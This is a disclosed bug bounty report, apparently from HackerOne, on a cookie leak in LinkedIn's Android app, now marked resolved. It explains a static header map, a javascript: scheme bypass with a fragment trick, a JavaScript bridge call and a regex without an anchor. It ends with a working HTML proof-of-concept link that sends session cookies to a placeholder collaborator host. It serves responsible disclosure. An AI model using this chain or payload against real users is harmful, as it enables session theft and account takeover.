Session Cookie Leakage via Static Header Field in WebViewerFragment

Disclosed: 2026-03-17 06:13:57 By dphoeniixx To linkedin
High
Vulnerability Details
Hello LinkedIn Security Team, I was able to identify a vulnerability in the `WebViewerFragment` that can lead to leaking the user's cookies to a threat actor. Below, I will explain the finding and provide a PoC. ## Summary A static field (`CUSTOM_HEADERS`) in `WebViewerFragment` persists cookies across different URL loads, allowing an attacker to chain multiple weaknesses to exfiltrate a victim's LinkedIn session cookies to an attacker-controlled server. ## Root Cause While the exploitation is complex, the root cause is simple. In the `loadUrl` method of the vulnerable fragment: ```java public final void loadUrl(Uri uri0) { String s = uri0.toString(); ... if(this.shouldUseCookies) { CookieManager cookieManager0 = CookieManager.getInstance(); ... String s2 = cookieManager0.getCookie(s); ArrayMap arrayMap0 = WebViewerFragment.CUSTOM_HEADERS; // Static field! ... if(s2 != null) { arrayMap0.put("Cookie", s2); } this.webView.loadUrl(s, arrayMap0); return; } ... } ``` The method retrieves cookies for the URL. If cookies exist, they are added to `WebViewerFragment.CUSTOM_HEADERS`. ### The Problem `WebViewerFragment.CUSTOM_HEADERS` is a **static field that is never cleared** between loads. This means: 1. If the vulnerable fragment opens website A (which has cookies), those cookies are stored in `CUSTOM_HEADERS` 2. If website B is subsequently opened and has no saved cookies, the cookies from website A are still present in `CUSTOM_HEADERS` and will be sent to website B **Attack Flow:** 1. Victim opens `https://www.linkedin.com` in the Fragment → LinkedIn cookies are saved to `CUSTOM_HEADERS` 2. Victim opens the attacker's website in the Fragment → The LinkedIn cookies already in `CUSTOM_HEADERS` are leaked to the attacker ## Exploitation Chain There is no deep-link that directly opens the vulnerable fragment. After investigating the application, I discovered a path to reach it through chaining multiple weaknesses. ### Step 1: Weak URL Validation in Verification WebView The Verification WebView can be opened directly via the `https://www.linkedin.com/trust/verification` deep-link. The handler extracts the URL to load from the `verificationUrl` parameter and validates the host against a whitelist: ```java if(!z2 && SearchFrameworkPrefetchRepositoryImpl..ExternalSyntheticOutline0.m(2, "trust/verification", s)) { ... String verificationUrl = uri0.getQueryParameter("verificationUrl"); ... intent8 = verificationUrlMappingImpl1.neptuneTrustVerification(verificationUrl, ...); ... } ``` ```java public final Intent neptuneTrustVerification(String verificationUrl, ...) { if(verificationUrl == null) { uri1 = null; } else { uri1 = Uri.parse(s); if(uri1.getScheme() == null) { uri1 = null; } else { String host = uri1.getHost(); if(!CollectionsKt___CollectionsKt.contains(this.supportedUrls, host) || UriUtil.isSuspectedPathTraversalUri(uri1)) { uri1 = null; } } } ... } ``` **Weakness:** While the host validation is secure, the scheme is not validated. An attacker can execute JavaScript in the WebView using the `javascript:` scheme. A URL like this will pass validation: ``` javascript://www.linkedin.com/%0aalert(1) ``` However, there is a complication. A parameter is appended to the URL before loading: ```java Uri.Builder uri$Builder1 = uri$Builder0.appendQueryParameter("renderContext", "trustVerificationDeeplink"); ``` This transforms the payload into: ``` javascript://www.linkedin.com/%0aalert(1)?renderContext=trustVerificationDeeplink ``` This is invalid JavaScript and will not execute. **Bypass:** I discovered that by opening a string and closing it after the `#` (fragment), the injected parameter becomes part of the string: ``` javascript://www.linkedin.com/%0aalert('1#') ``` With the parameter appended, this becomes: ``` javascript://www.linkedin.com/%0aalert('1?renderContext=trustVerificationDeeplink#') ``` This is valid JavaScript that executes successfully. ### Step 2: From VerificationWebView to WebViewerFragment The Verification WebView exposes a JavaScript Interface that can open the vulnerable fragment: ```java if(verificationWebViewFeature$createJavascriptInterface$10 != null) { webView0.addJavascriptInterface(verificationWebViewFeature$createJavascriptInterface$10, "Android"); } ``` ```java public final class VerificationWebViewFeature.createJavascriptInterface.1 { @JavascriptInterface public final Unit sendWebMessage(String s) { if(s != null) { JSONObject jSONObject0 = s == null ? null : new JSONObject(s); if(jSONObject0 != null) { ... Event event4 = new Event(jSONObject0); verificationWebViewFeature0._receiveWebMessageLiveData.postValue(event4); return Unit.INSTANCE; } } } } ``` The observer for `_receiveWebMessageLiveData` processes the message: ```java public final class VerificationWebViewFragment.createJSObserver.1 extends EventObserver { ... public final boolean onEvent(Object object0) { ... String s3 = VerificationWebViewFragment.getNonEmptyString("additionalWebViewUrl", ((JSONObject)object0)); if(s3 != null) { WebViewerBundle webViewerBundle0 = WebViewerBundle.create(s3, null, null); verificationWebViewFragment0.webRouterUtil.launchWebViewer(webViewerBundle0); } ... } } ``` Calling `Android.sendWebMessage(JSON.stringify({additionalWebViewUrl: "https://www.linkedin.com"}))` triggers `launchWebViewer` to open the URL. ### Step 3: Forcing the Web Viewer Client The `launchWebViewer` method uses interceptors to determine which client to use (Browser, Web Viewer, Custom Tabs). To ensure the vulnerable `WebViewerFragment` is used, we need to satisfy an interceptor that sets the client to `web_viewer`: ```java public class LinkedInUrlRequestInterceptor implements RequestInterceptor { @Override public final Request intercept(CurrentActivityGetter currentActivityGetter0, Request request0) { Activity activity0 = currentActivityGetter0.get(); if(!WebViewerUtils.isLinkedInUrl(request0.url.toString()) && !WebViewerUtils.isLinkedInArticleUrl(request0.url.toString())) { if(activity0 != null && !this.sharedPreferences.sharedPreferences.getBoolean("openWebUrlsInApp", true)) { request0.suggestedWebClientName = "browser"; } return request0; } request0.suggestedWebClientName = "web_viewer"; return request0; } ... } ``` The `isLinkedInArticleUrl` method uses a regex: ```java public class WebViewerUtils { static { WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN = Pattern.compile("(http|https)://www.linkedin(-ei)?.com/pulse/+"); } public static boolean isLinkedInArticleUrl(String s) { if(!WebViewerUtils.PULSE_CHANNEL_PATTERN.matcher(s).find() && ...) { if(WebViewerUtils.FIRST_PARTY_ARTICLE_PATTERN.matcher(s).find()) { ... return true; } } ... } } ``` **Weakness:** The regex does not use `^` anchor, so it matches anywhere in the URL. By appending `http://www.linkedin.com/pulse/1` to our URL, we can pass this check and force the vulnerable fragment to open. ## Complete Attack Chain ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ 1. Victim clicks malicious link │ │ └─→ Opens trust/verification deep-link with javascript: payload │ ├─────────────────────────────────────────────────────────────────────────┤ │ 2. JavaScript executes in VerificationWebView │ │ └─→ Bypasses host validation via javascript://www.linkedin.com/ │ │ └─→ Fragment trick (#) neutralizes injected query parameter │ ├─────────────────────────────────────────────────────────────────────────┤ │ 3. JavaScript calls Android.sendWebMessage() │ │ └─→ First call: Opens https://www.linkedin.com/... │ │ └─→ LinkedIn cookies stored in static CUSTOM_HEADERS │ ├─────────────────────────────────────────────────────────────────────────┤ │ 4. After delay, second sendWebMessage() call │ │ └─→ Opens attacker's server URL │ │ └─→ LinkedIn cookies in CUSTOM_HEADERS sent to attacker │ ├─────────────────────────────────────────────────────────────────────────┤ │ 5. Attacker receives victim's LinkedIn session cookies │ │ └─→ Complete account takeover possible │ └─────────────────────────────────────────────────────────────────────────┘ ``` ## Proof of Concept ### Steps to Reproduce 1. Host the following HTML on your server, replacing `{COLLABORATOR_HOST}` with your domain: ```html <!DOCTYPE html> <html> <head> <title>LinkedIn Cookie Leak PoC</title> </head> <body> <a href="https://www.linkedin.com/trust/verification?verificationUrl=javascript://www.linkedin.com/%250asetTimeout%28%28%29%3D%3E%7BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002f{COLLABORATOR_HOST}%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%22%7D%27%29%7D%2C%201000%29%3BAndroid.sendWebMessage%28%27%7B%22additionalWebViewUrl%22%3A%22https%3A%2F%5Cu002fwww.linkedin.com%2Fhttp%3A%2F%5Cu002fwww.linkedin.com%2Fpulse%2F1%23%22%7D%27%29%3B">Click Here</a> </body> </html> ``` 2. On an Android device with LinkedIn installed, open the HTML page in a mobile browser 3. Tap "Click Here" 4. You will see Linkedin is Opened on WebView. 5. Once you go back or close the WebView, another WebView will launch redirecting to your collaborator server, leaking the cookies. 6. Observe the leaked LinkedIn cookies in your server logs (Cookie header will contain LinkedIn session tokens) ## Impact - **Complete session takeover** via stolen authentication cookies - Attacker gains **full access to victim's LinkedIn account**
Actions
View on HackerOne
Report Stats
  • Report ID: 3475626
  • State: Closed
  • Substate: resolved
  • Upvotes: 5
Share this report